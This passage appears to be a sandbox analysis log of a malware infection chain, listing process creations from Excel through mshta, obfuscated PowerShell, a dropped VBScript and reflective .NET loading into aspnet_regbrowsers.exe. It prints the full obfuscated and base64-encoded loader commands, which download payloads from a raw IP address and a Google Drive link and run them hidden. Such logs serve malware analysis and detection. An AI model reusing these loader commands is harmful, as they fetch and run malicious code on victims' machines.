oJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe -Embedding
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES603A.tmp" "c:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3lzsnizg\3lzsnizg.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES1F25.tmp" "c:\Users\user\AppData\Local\Temp\3lzsnizg\CSCBF63D2839AE346389099BF789A42623B.TMP"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'LiAoICRTaEVMTElkWzFdKyRzaGVsTElkWzEzXSsneCcpICgoJ1M3RmltYWdlJysnVXJsID0gYkJIaHR0cHM6Ly9kcml2ZS5nb29nbGUuY29tL3VjP2V4cG9ydD1kb3dubG9hZCZpZD0xQUlWZ0pKSnYxRjZ2UzRzVU95Ym5ILXNEdlVoQll3dXIgYkJIO1M3RndlYkNsaWVudCA9IE5ldy1PYmplY3QgU3lzdGVtLk5ldC5XZWJDbGllbicrJ3Q7UzdGaW1hZ2VCeXRlcyA9IFM3RndlYkNsaWVudC5Eb3dubG9hZERhJysndGEoUzdGaW1hJysnZ2VVcmwpO1M3RmltYWdlVGV4dCA9JysnIFtTeXN0ZW0uVGUnKyd4dC5FbmNvZGluZ106OlVURjguR2V0U3RyaW5nJysnKFM3RmltYWdlQnl0ZXMpO1M3RnN0YXJ0RmxhZyA9IGJCSDw8JysnQkFTRTY0XycrJ1NUQVJUPj5iQkg7UzdGZW5kRmxhZyA9IGInKydCSDw8QkFTRTY0X0VORD4+YkJIO1M3RnN0YXJ0SW5kZXggPSBTN0ZpbWFnZVRleHQuSW5kZXhPZihTN0ZzdGFydEZsYWcpO1M3RmVuZEluZGV4JysnID0gUzdGaW1hZ2VUZXh0LkluZGV4T2YoUzdGZW5kRmxhJysnZyk7UzdGc3RhcnRJbmRleCAtZ2UgJysnMCAtYW5kIFM3RmVuZEluZGV4IC1ndCBTN0ZzdCcrJ2FydEluZGV4O1M3RnN0YXJ0SW5kZXggKz0gUzdGJysnc3RhcnRGbGFnLkxlbmcnKyd0aDtTN0ZiYScrJ3NlNjRMZW5ndGggPSBTN0ZlbmRJbmRleCAtIFM3RnN0YXInKyd0SW5kZXg7UzdGYmFzZTY0Q29tbWFuZCA9IFM3RmltYWdlVGV4dC5TdWJzdHJpbmcoUzdGc3RhcnRJbmRleCwgUzdGYmFzZTY0TCcrJ2VuZ3RoKTsnKydTN0ZiYXNlNjRSZXZlcnNlZCA9IC1qbycrJ2luICcrJyhTN0ZiYXNlNjRDb21tYW5kLlRvQ2hhckFycmF5KCkgQkRGIEZvckVhY2gtT2JqZWN0IHsgUzdGXyB9KVsnKyctJysnMS4nKycuLShTN0ZiYXNlNjRDb21tYW5kLkxlbmd0aCldO1M3RmNvbW1hbmRCeXRlcyA9IFtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoUzdGYicrJ2FzZTY0UmV2ZXJzZWQpO1M3RmxvYWRlZEFzJysnc2VtJysnYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChTN0Zjb21tYScrJ25kJysnQnl0JysnZXMpO1M3RnZhaU1ldGhvZCA9IFtkbmxpYi5JTy5Ib21lXScrJy5HZXRNZXRob2QoYkJIVkFJJysnYkJIKTtTN0Z2YWlNZXRob2QuSW52b2tlKFM3Rm51JysnbGwsIEAoYkJIdHh0LktMTExQTVMvNTYvMTUxLjg3MS42NC44OTEvLzpwdHRoYkJILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhkZXNhdGl2YWRvYkInKydILCBiQkhkZXNhdGl2YWRvYkJILCBiQkhhc3BuZXRfcmVnYnJvd3NlcnNiQkgsIGJCSGRlc2F0aXZhZG9iQkgsIGJCSGRlc2F0aXZhZG9iQkgsYkJIZGVzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvJysnYkJILGJCSGRlc2F0aXZhZG8nKydiQkgsYkJIZGUnKydzYXRpdmFkb2JCSCxiQkhkZXNhdGl2YWRvYkJILGJCSDFiQkgsYkJIZGVzYXRpdmFkb2JCSCkpOycpLlJlUGxhY0UoJ0JERicsJ3wnKS5SZVBsYWNFKCdiQkgnLFtzdFJpbmddW2NoYXJdMzkpLlJlUGxhY0UoJ1M3RicsJyQnKSk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command ". ( $ShELLId[1]+$shelLId[13]+'x') (('S7Fimage'+'Url = bBHhttps://drive.google.com/uc?export=download&id=1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur bBH;S7FwebClient = New-Object System.Net.WebClien'+'t;S7FimageBytes = S7FwebClient.DownloadDa'+'ta(S7Fima'+'geUrl);S7FimageText ='+' [System.Te'+'xt.Encoding]::UTF8.GetString'+'(S7FimageBytes);S7FstartFlag = bBH<<'+'BASE64_'+'START>>bBH;S7FendFlag = b'+'BH<<BASE64_END>>bBH;S7FstartIndex = S7FimageText.IndexOf(S7FstartFlag);S7FendIndex'+' = S7FimageText.IndexOf(S7FendFla'+'g);S7FstartIndex -ge '+'0 -and S7FendIndex -gt S7Fst'+'artIndex;S7FstartIndex += S7F'+'startFlag.Leng'+'th;S7Fba'+'se64Length = S7FendIndex - S7Fstar'+'tIndex;S7Fbase64Command = S7FimageText.Substring(S7FstartIndex, S7Fbase64L'+'ength);'+'S7Fbase64Reversed = -jo'+'in '+'(S7Fbase64Command.ToCharArray() BDF ForEach-Object { S7F_ })['+'-'+'1.'+'.-(S7Fbase64Command.Length)];S7FcommandBytes = [System.Convert]::FromBase64String(S7Fb'+'ase64Reversed);S7FloadedAs'+'sem'+'bly = [System.Reflection.Assembly]::Load(S7Fcomma'+'nd'+'Byt'+'es);S7FvaiMethod = [dnlib.IO.Home]'+'.GetMethod(bBHVAI'+'bBH);S7FvaiMethod.Invoke(S7Fnu'+'ll, @(bBHtxt.KLLLPMS/56/151.871.64.891//:ptthbBH, bBHdesativadobBH, bBHdesativadobB'+'H, bBHdesativadobBH, bBHaspnet_regbrowsersbBH, bBHdesativadobBH, bBHdesativadobBH,bBHdesativadobBH,bBHdesativado'+'bBH,bBHdesativado'+'bBH,bBHde'+'sativadobBH,bBHdesativadobBH,bBH1bBH,bBHdesativadobBH));').RePlacE('BDF','\|').RePlacE('bBH',[stRing][char]39).RePlacE('S7F','$'))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regbrowsers.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\sysTem32\WIndOwspowERSHELl\V1.0\POwErsHELl.EXE" "powerSHeLL.ExE -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE ; IEX($(iEX('[SysTem.tExt.eNCOdINg]'+[cHaR]0x3A+[ChAr]58+'Utf8.geTstrinG([SYsteM.cOnVeRT]'+[cHAR]58+[CHAr]58+'fRoMbaSE64STRiNG('+[ChaR]34+'JDdhMTQ0NGY0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGFkZC10WVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FbUJFcmRFRmlOSXRpT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUd5LHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFBaemFPalJ3d1Asc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbUgsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEtRWE1LY1JIQmMsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbkV4Tyk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1uYU1lICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIkFmIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1FU3BBQ2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBsYU5FRGsgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDdhMTQ0NGY0OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTk4LjQ2LjE3OC4xNTEvNjUvc2VldGhlYmVzdGh0aW5nc3dpdGhtZXdoaWNoZ2l2ZWdyZWF0b3V0cHV0b2ZtZWdvb2QudElGIiwiJGVOVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMiLDAsMCk7U1RBcnQtc0xlRXAoMyk7c1RBUlQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiJEVuVjpBUFBEQVRBXHNlZXRoZWJlc3RodGluZ3N3aXRobWV3aGljaGdpdmVncmVhdG91dHB1dG9mbS52QnMi'+[cHar]0X22+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ex ByPaSs -NoP -w 1 -C DeVICEcREdeNTiaLDEplOymENt.eXE
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\y2w1vq2t\y2w1vq2t.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wscript.exe "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\seethebesthtingswithmewhichgivegreatoutputofm.vBs"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES603A.tmp" "c:\Users\user\AppData\Local\Temp\y2w1vq2t\CSCE3D35A7BEA64426091DB9BB55EAE7DEC.TMP"
